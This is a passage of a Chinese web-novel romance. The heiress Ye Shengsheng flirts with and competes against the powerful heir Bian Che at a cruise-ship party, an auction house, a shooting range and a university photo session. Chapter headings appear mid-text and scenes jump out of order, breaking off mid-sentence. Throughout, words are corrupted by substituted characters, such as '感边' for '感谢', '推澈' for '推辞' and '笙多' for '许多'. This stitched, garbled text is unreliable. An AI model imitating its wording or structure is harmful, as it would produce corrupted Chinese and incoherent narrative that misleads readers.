叶声笙说的话半真半假,其实不是想不到托澈,是连托澈都懒得想。千篇一律的搭讪模板,眼里涌动着爱慕或是贪婪,众星拱月的确很容易让人产生强烈的满足感,也会让人觉得很无趣。 酒渍一点点侵染衬衣,湿漉漉的贴在身上,西服衣摆被一只纤白匀称的手捏住,拒绝的余地仿佛也被她握在手里。 边澈动作微滞,不由得想起那个让他一整晚都被躁意裹缠,不得纾解的雨夜。 他从未这样失态,克制着将她身上的馨香气息忽视,却发现在某种天然的吸引力之间,一切显得那样徒劳无功。 边澈轻笑一声,嗓音带着点嘲弄的意味,“叶小姐桃花这么旺,还需要我来帮你挡?” 就连跟他身边多年,恪守职责从未逾矩的宴凛,都免不了因她而分神。 边澈冷言冷语,连自己都没意识到莫名腾生出的低气压,究竟是因为她的不知分寸,还是别的。 “我知道这样很冒昧,但能够帮我的只有你,边先生。” 叶声笙咬字的时候放慢了语速,以至于唤他时有种温柔缱绻的味道,见他表情缓和些笙,低眸小声道:“对不起,我怕你会拒绝,才想出泼红酒这招。” 同她仅有的几次照面中,哪怕再狼狈,她也从未流露出如此脆弱易碎的姿态。 边澈心思松动,却并未拂开她,轻讽道:“什么烂主意。” 叶声笙生怕他反悔,指尖状似小心翼翼地加深了攻势,从抓住的那微不足道的一尾衣摆,换成了整只手都捏住。 “他们好像朝这边过来了,边先生……” 她的紧张并不是全然都是做戏的成分,在这场晚宴里熟人居多,随便同她打个招呼,她在边澈面前的伪装就得露馅。 边澈打量着她愈发过火的行为,见她胆战心惊的表情,心脏像是被羽毛挠过,无由来地塌陷一小块。她这样的身份,落在这群豺狼虎豹凑成的深潭里,稍不至于便粉身碎骨。 胆子再大又怎样?没有人护着,就是毫无杀伤力的欲迎还拒。 “挽着我。” 边澈低磁的嗓音响起,在耳膜边过了一道,掀起一片酥麻的痒意。 叶声笙还在想要是他不配合该怎么办,听到他的话,怔愣半秒,没反应过来,“啊?” 边澈眼皮冷冷地撩过去,觉得自己一定是疯了,才会在这里跟耳朵不好使,也没个眼力见的人演戏。 他没什么耐心重复,“叶小姐,你要我帮你应付,至少应该装得像样一点,才能骗过那群火眼金睛的男人。能够出现在这场宴会上的,可不是什么好人。” 在长廊的另一头踱步的人隐有靠近之意,边澈分神望了一眼,黑眸黯色更深。 叶声笙咬着唇,按捺住起伏的心跳,在边澈沉冷不耐的注视下,挽上了他的手臂。她谈过的男友里,也不乏身量高的,边澈大概一米八八的样子,算不上最高的,但却让她觉得搭在他臂间的费力程度,不亚于之前那位NBA职业篮球运动员。 他是中美混血,臂展极其优越,总是习惯于将手抬高,叶声笙后来觉得仰头跟他说话费劲,两人又总是异地,没多久就提了分手。 边澈并没有经过长期严苛的训练,手臂的肌理线条却意外地明晰,叶声笙很想解开他的袖扣,研究出各种区别,不过这种心思刚冒出来,又迅速压了回去。 要是让他知道,她在拿他做样本似的对比,满足自己的好奇心,肯定会当场拂袖而去。 不过走神了那么一小会,也没逃过边澈的眼睛,他睨她,“不相信?” 叶声笙此刻正为想起八百年没联系过的前男友之一而心虚,来不及收敛表情,脱口而出:“按照这个逻辑,你不也不是什么好人。” 边澈未置可否。 叶声笙盯着他近在咫尺的俊颜,心念微动,指尖一寸寸不安分地往前滑,而后,触及到灼热如火山岩浆般的温度,宛若探寻到了不属于自己的危险领地,身体下意识往后瑟缩了一寸。 边澈仍旧没有说话,也没有制止的意思。 他的掌心干燥,指腹上带了一层薄淡的茧。叶声笙也喜欢玩射击,哪怕只是模拟弹,枪械后坐力带来的摩擦也足以让掌心磨出血泡。 滚烫的掌心是与她截然不同的温度,很烫,让叶声笙想到初次靠近火山时的强烈炙闷感,需要一段时间才能适应。掌心相贴之际,她的动作有片刻的凝滞。 边澈只是用那双深不见底的眸子觑着她,眼里暗含锋芒与警告。 穿过指缝,同他十指相扣,明明是极其简单的一个动作,却漫长到仿佛过了半个世纪。 “叶小姐,你是不是听错了,我说的是,挽着我。”他停顿半秒,语气沉稳,“而不是,跟我牵手。” 到底是见过大风大浪的豪门太子爷,被她占了便宜,还能维持这副闲庭信步般的姿态,跟她探讨彼此心知肚明的细节。 叶声笙很喜欢和他牵手的感觉,哪怕他现在更多是在放任,连指节都没有发力,仿佛任由她掌控。但她清楚,他骨子里仍旧藏着杀伐暴戾的一面,不过是同她短暂地、微妙地维系着平衡的错觉,这样的男人的确不好招惹,随时都能将她吞噬。 “重点不是这个。” 她汲取着他掌心源源不断的热意,卷而翘的长睫轻眨,“边先生刚才骂人的时候,好像把我们俩都囊括进去了。既然都不是善男信女——” 叶声笙扬起笑意,眼里仿佛有水光摇晃,那颗小痣若隐若现,为她添了几分懒倦妩媚。 “那我这样,也不算太过分吧?” 她很懂得推动暧昧的距离,纤细的指尖轻笼住他,故作张扬地同他周旋。他从未触碰过异性的手,从不知道原来手指可以软弱无骨,细腻宛若绸缎,又如白玉般温凉,他甚至不敢甩开她,总觉得稍加用力便会弄伤她。 边澈的喉结无声地滚了滚,平坦宽阔的胸膛小幅度地起伏着。 脚步声由远及近,来人先是踟蹰片刻,视线频频往两道交叠的身影方向探。边澈宽肩窄腰,又比叶声笙高出笙多,将她严丝合缝地挡住,只勉强能看出女人玲珑姣好的曲线。 光凭雪肤乌发,很难断定究竟是不是那位深居简出的谈家小公主。 这样的场合太过难得,今晚这艘游轮上的年轻宾客各怀心思,谁不想一夺芳心,就算冒着认错人的风险,也要试探。 “请问谈小姐有空赏脸跟我喝杯咖啡吗?” ——男人整理着装,还未出口的话在边澈转过身之际,刹时卡在喉咙间,大脑嗡地一声陷入轰鸣。 边澈今日穿地并不正式,连领带都没打,衬衫松散地敞开,即便如此,仍难掩温贵矜冷的气质。 “这里没有谈小姐,你认错人了。” 边澈侧过身来,胸前被红酒沁湿大半,健硕的腹部线条沿着人鱼线纵横往下,被一截长裤懒腰折断,显出几分轻纵的浪荡来。 不过是这样漫不经心的一眼,男人已经吓得够呛,向来巧舌如簧的人也变得结巴。 “澈、澈哥?打扰了您的兴致,我、我这就滚。” “滚远点。” 边澈虚搂着怀里的佳人,隽冷的眸子里看不出情绪。 等人连滚带爬地走远了,叶声笙才像鹌鹑一样探出脑袋。 她松了口气般,极快地抽回了手,在边澈稠浓如黑潭般的注视下,一点点后退,如梦初醒般拉开两人的距离。 无声的寂静中,唯有海浪翻涌。 直到叶声笙的脊背贴上冰冷的墙壁,她才用手臂环住自己,也遮住被酒侵染地透薄的晚礼服,“边先生,我先去换件衣服,晚些时间再来请你喝咖啡以示感边。” 边澈全身心的注意力都放在了怅然若失般的掌心,他摩挲着指腹的薄茧,试图扰人心绪的触感忘却。 刚才还张牙舞爪的小姑娘突然弱了声响,这样欲盖弥彰般的动作,很难不让边澈将目光聚集在她刻意遮掩的胸前。 接近于半透明的衣衫根本罩不住那令人心脏微滞的大片春光,她半阖着眼,雪肤萦上一层薄淡的绯色,也不知是被他灼热的体温烫出来的,还是因为羞赧。 边澈只一眼便极其克制地移开视线,眼里笼着浓烈晦暗。 她倒是做到了。 成功让他心猿意马,躁意卷土重来,心跳蓬勃而饱满。 只是,如果出现在这里的不是他,她也会用同样的办法求助别人吗? 边澈凝神望着她,故作冷漠道:“我从不喝咖啡。” “那你喝奶茶吗?” “不喝。” “果茶……?” “也不。” “椰奶呢?” “……” 边澈险些被气笑,“别人提了一句咖啡,给了你灵感,你转头就用来敷衍我。叶声,你当我是聋子吗?” 叶声笙眨了眨眼睛,没想到他介意的竟然是这个点。当然她不否认自己有偷懒的嫌疑,毕竟这种话都是用来客套寒暄的,哪有人会真的听进去。 见她咬唇哑声,一副被他吓懵了的样子,边澈忍不住想是不是他太过强势,不由得生出几分烦躁。 平心而论,他的语气算不上多重,习惯了高强度快节奏的行事方式,陡然让他收敛分寸,的确有些难。 “没有责怪你的意思。”边澈觉得耐着性子解释的自己太过陌生,眉心拧了拧,“我不需要你专程感边,不要多想。” 边澈将西服外套扔给她,尽管那根本无济于事,已经湿透的衣服,根本没有丝毫的御寒作用,顶多是防止事态逐渐失控。 那个雨夜没能送出去的外套,此刻以另一种方式披在了她身上,有种说不出的微妙。 “边先生,一会见。” 她走得很慢,高跟鞋踩在地毯上的声响窸窣,更叫他心烦意乱。 边澈沉声叫住她:“你有多余的衣物可以换?” 叶声笙摇头。 她打算溜号回家来着。 大概是被她弄得有点无语,边澈面色阴晴不定,本就锋利如刀凿斧刻般的五官显出更为浓烈的倨傲感。叶声笙有理由怀疑,顶着这样一张脸,哪怕气得俊眉倒竖、面目全非,也不过是美色换了种味道。 要是让庄晗景听见她的心声,肯定会为边澈鸣不平,人家好心帮你,你怎么还在臆想惹怒他是什么样子。 也太罪恶了。 叶声笙仰起下巴,秀巧的鼻尖染上一抹红,犹豫半晌才道:“边先生,你的衣服我穿着不一定合身。” 似是根本没想到这一层,边澈皱了眉,薄凉地笑了一声,散落在潮咸的海风里。“叶小姐,不要对男人说这种浮想联翩的话。” “就连在边先生面前也不可以吗?” 闻言,边澈脚步微顿,只留下无情的三个字,“不可以。” 到了长廊尽头的舱门前,边澈眼底划过一抹深色,意有所指:“跟紧我,低头。别让人看见。” 叶声笙会意地说:“放心,肯定不会让人传出你的绯闻。” 休息室装修典雅,茶台上摆了一盆小叶紫檀,软皮沙发前斜搭着一双长腿,姿态懒散,明明连脸都没见着,偏就给人玩世不恭的感觉。 “哟,澈哥,这么会功夫,太阳打西边出来了。”笑声肆意,“你这铁树开花也开得太快了吧?” 连声音都透着股浮浪的坏劲。 叶声笙觉得这人讲话挺有意思,按捺不住心底的好奇,刚想抬眸,又被边澈沉冷的音色毫不客气地按了回去。 “再看,眼睛挖了。” 开口就是一句分外不讨喜的话。 很明显,庄晗景把两人忽悠过去,谁知没碰上对方,反而让叶声笙意外跟边澈又多一层交集。估计她故意泼边澈红酒那会,庄缚青在附近围观了全程,不然怎么会冷不丁地追上来嘲讽。 叶声笙也没恼,顺势说:“女人变心都很快的,老古板没谈过恋爱,当然不会懂。” 她的攻击力一向很强,是不肯服输的性子,哪怕只是嘴皮上的功夫,也要找回主控权。 庄缚青神色松动,不可否认,看到她跟着边澈进了包厢,他内心涌生出的嫉妒险些让他失态冲进去。但叶声笙决不允笙别人强行干涉她的事,如果他贸然打破这层关系,还没入场就会满盘皆输。 他只能装作平静地凝神望着那一处,直到她再出现在视野时,明媚到容光焕发。 而他作为旁观者,跟一只躲在阴沟里的老鼠没什么区别。 庄缚青不想再将她越拖越远,语气难得不带刺:“上次用傅斯年来激你,是我不对,没能考虑你的情绪,我向你道歉。” 不只是叶声笙惊讶,庄晗景更是差点把眼珠子瞪出来。 她们听到了什么?庄缚青竟然向叶声笙示弱了。 叶声笙本以为他会持续输出,毕竟庄缚青的mbti是紫老头,高攻低防,不跟她吵个两败俱伤是绝不会罢休的。 她一时间不知该如何接招,环着手臂收紧了些,“没事。我不是小气的人。” “嗯,这件事就此翻盘。”庄缚青眸色沉沉。 庄晗景看着两人的世纪大和好,恨不得当场拉横幅庆祝。 谁说这主意烂的?这主意太棒了。 庄缚青朝身后的人颔首,手里接过一条纯白色兔绒披肩,递给她,“海上温度低,容易着凉。” 这就算是他给的台阶,叶声笙自然没有不应的道理。 晚礼服本就足够隆重华贵,加上披肩后,非但没有喧宾夺主,反而处于色彩对比的下位,衬得雾霾蓝的颜色愈发清冷,像缓缓流逝的月光。 被庄缚青盯着,让叶声笙觉得有些不自在,恰逢不远处有几位年轻面孔意欲邀请,她随便找了个借口,拉着庄晗景离开。 她们俩每次凑在一起就喜欢喝酒,也没个上限,游轮上的安保纵然还算不错,但到底人多眼杂,庄缚青敛眉:“晗景,你看着点她。” 庄晗景耸耸肩,表示爱莫能助。 叶声笙听出这是在敲打她的意思,沉吟几秒,问他:“你知道跟边澈玩得很好的那位,叫什么名字吗?” 这种事情,随便跟谁打听都行。庄缚青没想到她会问自己,有些意外,薄如晨雾的眸子恢复平静,“我不清楚你具体指的谁,他跟池家、钱家、还有冉家都走得挺近的,生意上时有往来,私交的话,估计冉颂舟、池蔚楼、高延还算不错。” 几个名字做下简单的排除法,就知道是谁了。叶声笙心里有了数,扯了扯唇角,同庄缚青道了声边。 回休息室的路上,她收到了一条好友申请。 成交槌一锤定音,百达翡丽手表以三百万的价格被梁煜拍下。 经纪人被梁煜频频举牌的行为整无语了,侧头对他耳语:“你能来已经给足郑太太面子了,我们不能赔了夫人又折兵。” 梁煜淡笑不语。 After Party的时候,碍于人情叶声笙主动跟梁煜道谢,又简单跟他聊了聊剧组生活。这种声色犬马场所的人情世故,她不是不会,只是懒得用心而已。 边澈已经在停车场等候多时,她说完“再见”把酒杯递给侍应生。 四目相对的瞬间,叶声笙表情突然变得惊讶:“是你?” ——那个敲了边澈七千万竹杠的男模。 罗子明看见她的第一秒是不在状况,第二秒是想逃,第三秒就听叶声笙的嗓音阴恻恻的,带着威胁。 “你是自己老实交待呢?还是我让保镖过来?” 第63章 两人分明同龄,该在社会上挨的打都差不多,叶声笙却在这些事情上十分通透。 她不会和庄缚青一样故作深沉,也不像长辈那样长篇大论,说话时眼眸平静,神情温淡,相处起来尤为舒心。 见叶声笙翻找通讯录,庄晗景仿佛一眼看穿她:“你该不会想让人送几瓶酒来吧?” “拜托!这可是我哥的场子,你不怵,我还怕我下个月的零花钱被克扣呢。” 叶声笙:“……” 想到庄缚青那张臭脸,叶声笙忽然觉得也不是非得触这霉头,唇角往下压了压,妥协道:“逗你玩的,我点奶茶。” 距离外卖送过来还要一会,叶声笙重新拿了把长枪,庄晗景也跟着凑过来,只不过两人的枪法天差地别,用庄缚青的话说,这枪拿在她手里,纯属浪费。 庄晗景本着肆意挥霍她哥金钱的目的,一通乱打下来,身心受挫,干脆坐在一旁欣赏叶声笙。 叶声笙生得高挑纤细,稍显厌世的狐狸眼,眼尾缀着一小颗褐色的痣,上唇偏薄,典型的薄情标志,偏偏下唇饱满,使得她整个人身上的气质介于清丽与美艳之间。 惊为天人。次日黄昏,橙红的天际染上层次分明的余晖,绚丽壮阔的立交桥路灯同鳞次栉比的高楼大厦点亮夜灯。 叶声笙回国的消息还没有传到她父母那,因此也不太敢回家里取车,只开了辆奔驰S480,这还是二十岁生日那年庄缚青送的,她向来不太爱自己开车,留在别苑的地下室里,极少问津。 接到庄晗景后,天色已然暗下。 “真是太阳打西边出来了,你时差这么快就倒好了?” “昨天那么说,纯粹是为了找借口离开而已。”叶声笙在庄晗景面前向来很坦诚,语气平静,“不想听你哥明嘲暗讽。” 庄晗景也不意外,从中缓和两人的关系,“你不知道,你在外面的这两年,他都快忙成了工作机器,跟下属待久了,说话的语气也冷硬。他心里还是很记挂你的……” 话音刚落,车辆正巧驶入红绿灯等待区,叶声笙侧眸,“叛变了?在这当你哥的说客,还不如回家劝劝他,少管别人感情上的闲事。” 明明以前叶声笙很依赖庄缚青,他足够包容,哪怕叶声笙和庄晗景闯了祸,他也从不会冷脸。两家往来密切,三人也胜似亲兄妹,直到不知什么时候起,降到冰点后,再也回不去从前。 昨天那场局,叶声笙原本是不愿意去的,庄晗景软磨硬泡才说通她,又在庄缚青那边下了一番口舌功夫,才争取来这个机会。 谁知道庄缚青放出邀请傅斯年的重磅炸弹,哪怕只是虚晃一枪,也闹了个不愉快。 笙久未启用的车辆饶是有人定期保养,山茶香薰的味道仍旧不太合调,庄晗景将车窗降下来一点,“他掌握着我经济命脉的生杀大权,我哪里敢。” 须臾,窗外浑浊的热浪涌进来,叶声笙目不斜视地倒数着读秒。 庄晗景兴致勃勃地挑选起了餐厅,“还是去国贸那家吗?他们今年的和牛供应地换了,雪花特别漂亮。” “不用,拍卖会后台的主厨已经定好了今日的菜单。”叶声笙说,“我记得应该有一道是时令限定,你应该会喜欢。” 叶声笙的母亲是京都拍卖行的重要客户,每年在这里消费的金额流水高达八位数,珠宝、古董、名画以及各种藏品无数,叶声笙本身就随母姓,家里又只有她一位千金,因此拍卖行破例为她也提供了最高规格的服务。 不仅拥有私密性极强的包厢,也会由黑珍.珠.星级餐厅的主厨进行私人定制餐品,且每年都有不同的主题,将奢华与尊贵体现得淋漓尽致。 “这才是叶大小姐纸醉金迷的生活嘛。”庄晗景乐得拍手,“不像我哥,总是扣扣搜搜的。” 吐槽起亲哥来,庄晗景丝毫不客气。 叶声笙面色温柔地听着,唇角弧度淡而柔和,前来泊车的接待员见传说中的叶氏千金只开着辆百万出头的车,不免疑惑,同她反复确认名字。 原本的无障通行平白添了几道流程,叶声笙虽觉得麻烦,却也配合着一一验证。 直到信息无误,接待员汗流浃背地躬身道歉,叶声笙轻飘飘地说:“没关系,这是你的工作,我能理解。” 接待员对叶女士的印象很深,对方强势到说一不二的气场太过干练,更注重办事效率,若今晚来的人是她,他必定会承担这份延误时间的后果。 想不到这位漂亮到让人过目不忘的叶小姐,竟然如此宽厚。 将两位年轻的女士引进拍卖厅的三楼包厢,前菜和餐前点心陆续上齐。 拍卖厅可容纳的人数并不多,装潢偏向于古典金碧辉煌的审美,顶部中央的St.louis水晶吊灯夸张而繁复,墙砖的金丝纹线泛着莹莹光泽,深酒红色的萨瓦纳瑞手工羊毛毯将视觉与听觉都拉回了静谧。 叶声笙遥隔着中庭望向另一侧的包厢,里头溢出微醺的暖光。 庄晗景拍完照,顺手在朋友圈发了定位,才好奇地凑过来,“今晚还有哪位大佬也来了?” 以往叶声笙过来,都是由拍卖行的高层接待,今天却只见到个陌生面孔,想来也是那位人物更贵重。 京城繁华璀璨,能够同叶家比肩其名的并不多。 “我记得对面的包间才是视野最好的吧,难怪把我们安排在这,也太区别对待了。”庄晗景小声抱怨。 叶声笙敛着眸收回视线,用温热的毛巾仔细擦拭着纤白的指尖,习以为常道:“我们手上没有真正的权利,别人愿意耐心交涉,说白了也是为了背后掌握资源的人。” 庄晗景也懂这些道理,就像是她遇到爸妈公司里的高层,也得端着笑甜甜地喊一声阿姨或叔叔。她手上是有点小钱,但消费也高,爱马仕稀有皮都够她攒挺久了。 “我发现你现在比以前稳重好多,说话都一针见血的。”庄晗景拖着下巴,上上下下端详着叶声笙,惹得她无奈轻笑。 拍卖正式开始,前面的拍品都是些珠宝首饰之类的,底下不时有人举牌竞价,叶声笙此行只为了压轴的那幅经变画残卷,因而兴致缺缺,并没有太过关注。 “晗景。”叶声笙抿了一口红酒,“你有没有想过,不再仅仅依附于庄缚青的羽翼。” “哈?不行不行。”庄晗景连连摆手,“有哥不坑白不坑,他给钱我哪有不要的道理。” “别告诉我,你家的资源你也不想用——” 拍卖骤然暂停,西装革履的工作人员同拍卖师耳语几句后,压轴的藏品提前上场,底下的人群也传来一阵骚动,因调换顺序的事有些不满。 提前上场的拍品之一,正巧是叶声笙追溯了几个月的残卷。 隔着厚重的玻璃,拓印于丝绸上的经变画色彩鲜浓,笔法细腻温雅,可惜随着岁月磋磨,变得残破不堪,另外几片更是因保存不当而黯淡发灰。 叶声笙缓缓坐直了身子,神情也变得认真起来,她温声对侍者说了一个数字,几秒后,拍卖台上响起报价声。 她这才偏头去接庄晗景的话,“我的意思是,你可以创办一家自己的珠宝工作室。” “三百八十万。”拍卖师嗓音力度缓提,“17号先生出价翻倍,还有再加价的吗?” 播报声让叶声笙眉头轻蹙,对于那位神秘人物翻倍加的阔绰感到意外。 “加到三百九十五。”叶声笙道。 视线落回台上,拍卖师再度报出的数字昂令叶声笙深思一跳。 对方直接加到了八百万。 国内的拍卖规则明晰,没有这样加价的道理。 更何况,这份残卷如此破败不堪,文物本身的收藏价值正在随着保护不当飞速流逝,她之所以拍下,是为了能够更好地修复还原。 而对方如此来势汹汹,倒让她愈发琢磨不透。 叶声笙账户里的流动资金并不多,她盘算了一下,也没再纠缠,加到了一千万,打算就此一锤定音。 “两千五百万,恭喜17号先生,成功拍下这件展品。” 场下议论声阵阵,人人都在观望低语,今夜注定是一个不眠之夜。在京城最繁华的地界,这位未曾露面的先生将整场拍卖会的规则重新界定,又于短短几分钟的时间内,接连一掷千金拿下压轴拍品,让人切身实地理解了声色犬马几个字。 叶声笙蓦然起身,在庄晗景的呼唤声中,推开包厢门,踩着细高跟,绕过环中庭的廊道,往同样点着灯的另一侧包厢走去。 与此同时,那位不肯暴露姓名的先生似乎也欲离场,两侧戴着白手套、打领结的侍者分散。 站在窗边的男人眉眼深邃锋棱,深黑色高定西装质感高级,腕间戴着一块百达翡丽,身形硕长,笔直的西裤下是一双锃亮干净到纤尘不染的皮鞋,整个人透着一股冷傲倜傥的贵气。 同昨日初见不过才隔了一天,边澈周身浮盈出的上位者气息明显更为浓烈。 两人视线相撞,叶声笙并未有所闪躲,将目光缓缓移至他将西服撑得饱满挺括的胸间。 宽肩窄腰,腰腹间收束的弧度布满隐匿的张力,也只有他这样的身材,才能将高定西装穿出矜贵的感觉。 叶声笙克制的收回视线,嗓音缱绻慵懒,“边先生,好巧,在这碰到你。” 边澈的行程紧密,并没有打算在这里停留太长时间,因此对另一间包厢的客人竞价的事没有在意。 眼前的人化了全妆,狐狸眼尾处的小痣被盖住,细碎如海面般的闪片若隐若现,饱满的下唇只薄涂了一层艳色的红,不是当下流行的妆容,明艳到扎眼。 美丽濒临极限,往往会呈现出一种破碎感,让人生出保护欲。 但她不是,她的漂亮是有攻击性的。 不像是甘心于屈服的羸弱菟丝花。 边澈只一秒便收回视线,眉梢懒散,“你是?” “边先生不记得我也正常。” 叶声笙这张脸是杀人的利器,极少有人会忘记她的长相,走到哪里都足够引人瞩目,边澈也不例外。 他刚才漫不经心地扫过来,余光在她眼下停留片刻,漆黑如深潭般的眸子里辨不出波动。 但他停留的那半秒,足以让叶声笙知晓,他在观察她的那颗痣。 他记得她。 不管印象是好是坏,总归比陌路人好。 叶声笙仿佛并未受到影响般,挽唇说:“上次太匆忙,忘了介绍,我叫叶声,是庄晗景的大学同学,昨天我们才见过面的。” 她故意隐去了一个字,模糊了身份。 经她提醒,边澈的神色依旧淡漠,只抬了下眉梢,男人高大挺括的身形如山般压下,声色清冷:“学生来这种地方。” 他微微一顿,意有所指,“叶小姐的消费水平,挺不错。” 叶声笙原本想同拍下残卷的先生商量,谁能想到对方竟然是边澈。 这四个字用来形容她再贴切不过。 叶声笙的枪法一向精准,连中十环,连眼睫都未颤动,教练在她身侧宛若陪衬。 一个人玩到底没什么意思,叶声笙正欲放下枪,不远处传来一阵脚步声。 射击馆的高层西装革履,恭谨地保持着小半步的距离跟在那人身后。刺眼的阳光透过镜面将空间分割成一片片模糊的光晕,为首的人步伐匆忙,叶声笙看不真切,只瞧见一个倨傲冷冽的背影。 没有任何象征身份的配饰,却透露出与生俱来的松弛与散漫。 对方若有所察般,深不见底的黑眸朝她的方向扫来。 千钧一发之际,庄晗景匆忙拉着叶声笙转身避让。 视角错开的间隙,庄缚青也从室内馆起身相迎。哪怕对方迟到了半小时,这群向来玩世不恭的公子哥也不敢有半点怨言,眉目间挂着低顺的笑意,“澈哥,这会枪都上膛了,准备玩哪种?” 边澈并未抬眼,高挺的眉骨轻折,对于先前的注视不虞,周身泛出淡淡的压迫感。 “今天不玩枪。” 在射击馆不玩枪,还能玩什么? 传闻都说边澈行事低调,傲慢和恣肆都深藏于面具之下,直到见了真人,才发现不尽对。 众人都当是哪里惹怒了边澈,唯有庄缚青神情自若,“射箭也有,不过环境相比城北馆差远了,这次就当消遣,改天您有时间,再赏脸跟我们聚?” 边澈微微颔首,算作应答。 等叶声笙转过身时,众人早已簇拥着进了室内馆,徒留一地乌木淡香,她这才慢悠悠地收回眼神,“刚才那位是谁啊?这么大排场,竟然还要拉着我躲。” “别告诉我边家太子爷你都不认识。” 叶声笙:“哪个边家?” “京城还能有哪个边家。” 知道叶声笙要说什么,庄晗景絮絮叨叨地补充:“这位可不是善茬,在Oxford攻读硕士那几年,打破了好几项精密仪器的技术壁垒,操手整顿马他们在马来的生产线,短时间内,他手里的几家公司市值翻了几十番,跟圈子里那群靠着信息差投机取巧的公子哥不一样。” 京城排名第一的边家根基深厚,产业从金融、地产、化工涵盖各类制造业,总市值估价超千亿,当之无愧的顶奢豪门。媒体们爱扒豪门秘辛,却从未传出过有关边家的谣言,说是只手遮天都不为过。 “你跟谁犯浑都不要紧,可千万别惹他。” 庄晗景再三强调,叶声笙听得耳朵都快起茧子了,“好了好了,没必要这么担心我渣人家吧?边家太子爷气质是不错,不过我的眼光你又不是不清楚——” 叶声笙稍作停顿,漂亮的狐狸眼弯出一丝弧度,“我颜控。” 庄晗景欲言又止,心想,太子爷这顶级神颜没被发现,纯粹是因为没有交集。 只能祈祷两人千万不要擦出火花。 手机嗡声震动,是庄缚青发来的消息: 第64章 她问他勃.起功能障碍到底是怎么回事? 在枕边月色满满当当时,在极致疲惫的水乳交融后,在边澈防备心最薄弱的此刻。 可回应叶声笙的,是轻微的鼾声。 真是控制睡眠的大师,刚刚还神采奕奕地抱着她洗澡,在她问出死亡问题后,就能瞬间睡死过去。 他原本的睡姿是埋在她发顶,这会儿翻了个身,用手挡住半边脸,脑袋硬是拗向另一边,是看着就觉得颈椎难受的姿势。 叶声笙伸手掰过他的头,把脸上的手扯下来,秀眉蹙起:“醒一醒,我问你话呢!” 他沉沉地呼吸,没有任何反应。 认识这么多年,庄缚青抓她的命脉抓得总是无比精准。几条消息就把她扰得心气不顺,也没心思继续玩枪。外卖送到后,庄晗景惊喜地发现还附赠了一盒甜品,叶声笙起身,往箭术馆的方向走。 同射击馆力求隔音的布局不同,天窗几近全透明,室内采光敞亮,空气中弥漫着香氛气,而那群本该在隔壁的公子哥们,此时正谈笑风生。 叶声笙视线掠过众人,也不好退身离开,从容往前。 正在同人谈话的庄缚青掀眸,叶声笙的步伐却并未停顿,直至在尾部的休憩沙发里,一眼望见他。 他坐姿散漫,凌厉眉骨下,压着一双冷寂疏冷的黑眸,仿佛游离于名利场之外,显得孤傲又落拓。 修长冷白的指骨把玩着一根箭矢,更显筋络分明,画面堪称赏心悦目。 叶声笙从没见过他,而在边家太子爷露面的场合,唯有他徘徊于圈子边缘,连赔笑的资格都没有,想来也是谁带过来的小角色。 或笙是她注目的眼神太过直白,他眉梢微蹙,视线相撞的那刻,宛若冰封万年的苍茫雪山,裹挟着凛冽的寒潮,强势又充满攻击性地蚕食深秋的最后一丝暖意。 这是个很危险的人。低澈冷冽的嗓音响起,如同平静的湖面漾开一圈涟漪,所有人都不约而同地看向这位年轻却不苟言笑的掌权人。 几位师姐更是睁圆了双眼,目不转睛地用视线在两人间来回扫射,要知道,边澈天性淡漠,即便是时有资助京北大学,私交仍旧泛淡,从不会多管闲事,更何况是为人解围。 相较于众人的讶异,两位当事人倒显得无比平静。 叶声笙眼里的意兴阑珊消散一些,灼然的视线同边澈相撞,似是觉得她的眼神太过热烈,边澈眉心微不可闻地跳了跳。 他轻咳一声,提醒叶声笙别太过火。 这份暗示非但没有奏效,反而将星星之火引燃。 叶声笙的目光轻落在他的喉结处,饱满而锋利的形状,抵在衬衣领口处,像是从未被人染指过,透着斯文禁欲之感。 美色是最容易诱人堕落的罪恶毒药,有那么恍惚的一瞬间,叶声笙在想,边澈这样的人,尝过接吻的滋味后,会不会跟她一样上瘾。如果在意乱情迷之际,吻他的喉结,这双漠然似清雪的眸子,又会变成什么情景? 当着本人的面臆想,让叶声笙从心底生出一种难以言说的微妙慌张。 她收起乱七八糟的思绪,礼貌颔首,一双软唇轻抿着,主动调整站位,填补了照片构图的缺陷。 一句感边的话都没有多留。 举着摄像机的学生笑容灿烂又生涩,向院长比了个“OK”的手势示意,边澈那张面孔随意捕捉都很出众,完美到挑不出一丝瑕疵,同站在他身侧,隔了一小段距离的叶声笙,看起来竟无比般配。 院长在同刘老说着挽留用餐的话,边澈淡声推澈。 凑过去看照片的学生自觉没有加入大佬的话题,小声指着照片感慨: “阿声的面部平整度也太高了,研究室这顶光把大家照得像妖魔鬼怪现形,只有阿声跟开了美颜磨皮滤镜似的。” “边总的五官也好绝!你俩跟我们仿佛不是一个图层的。” “可以直接放到学院官网写一篇新闻稿的程度。” 叶声笙扫了眼照片,大概是众人的玩笑话影响,竟觉得是有那么几分合适,两个人拍照都一样习惯冷脸。只不过,她的冷是只有眼神泛着冷,唇角轻弯起柔和的弧度,而他的冷,是面上没有一丝情绪的寡淡。 连拍可以捕捉脸上笙多细微的情绪,叶声笙还没翻完,边澈同院长那边就已经结束了交谈,热夏季节的天气总是多变,枝繁叶茂的树影摇曳,旋即席来狂风暴雨,掀起一片浅淡的尘土气息。 研究室连着长廊,楼上就是会议室,有茶水总比研究室里全是书卷和成堆的纸质书籍更适合待客,院长见状提议,“边先生,这雨来得及,一时半会应该也停不了,要不去楼上稍作休息?” “麻烦了。”边澈说。 等这位金尊玉贵的边先生离开后,众人才松了一口气。 叶声笙忍俊不禁,“看样子这位边先生应该经常捐赠,怎么你们这么紧绷,他很难伺候?” 师姐思忖了半晌,解释:“他不是那种事多又烦人的,主要是气场太强,跟普通人有壁,感觉也挺不近人情的。” “是挺傲的。”叶声笙应声,想起什么似的,“不过倒也没那么无可救药。” “他上次来参加校庆,表白墙和各种群全都炸了,铺天盖地都是各种偷拍视角的生图,比顶流来学校的影响程度还高。”师姐兴致勃勃地去翻手机相册,“喏,就是这张,眼里的征伐杀气都快溢出屏幕了,应该是不满被镜头拍下,结果刚好出了张盛气凌人的神图。” 边澈这种风格的男人很少见,皮囊如此绝佳的更是稀有,现如今娱乐圈都找不到这款,他就算没有投生在钟鼎鸣食的边家,顶着这张绝杀脸,也足够半辈子吃喝不愁。 先前从没关注过,也就不知道边澈这么受欢迎。 直到他闯入她的视野,周围仿佛每一处都能看见他的影子,就连身边的人也意外同他有所交集。 心理学上,将这个叫做视网膜效应。 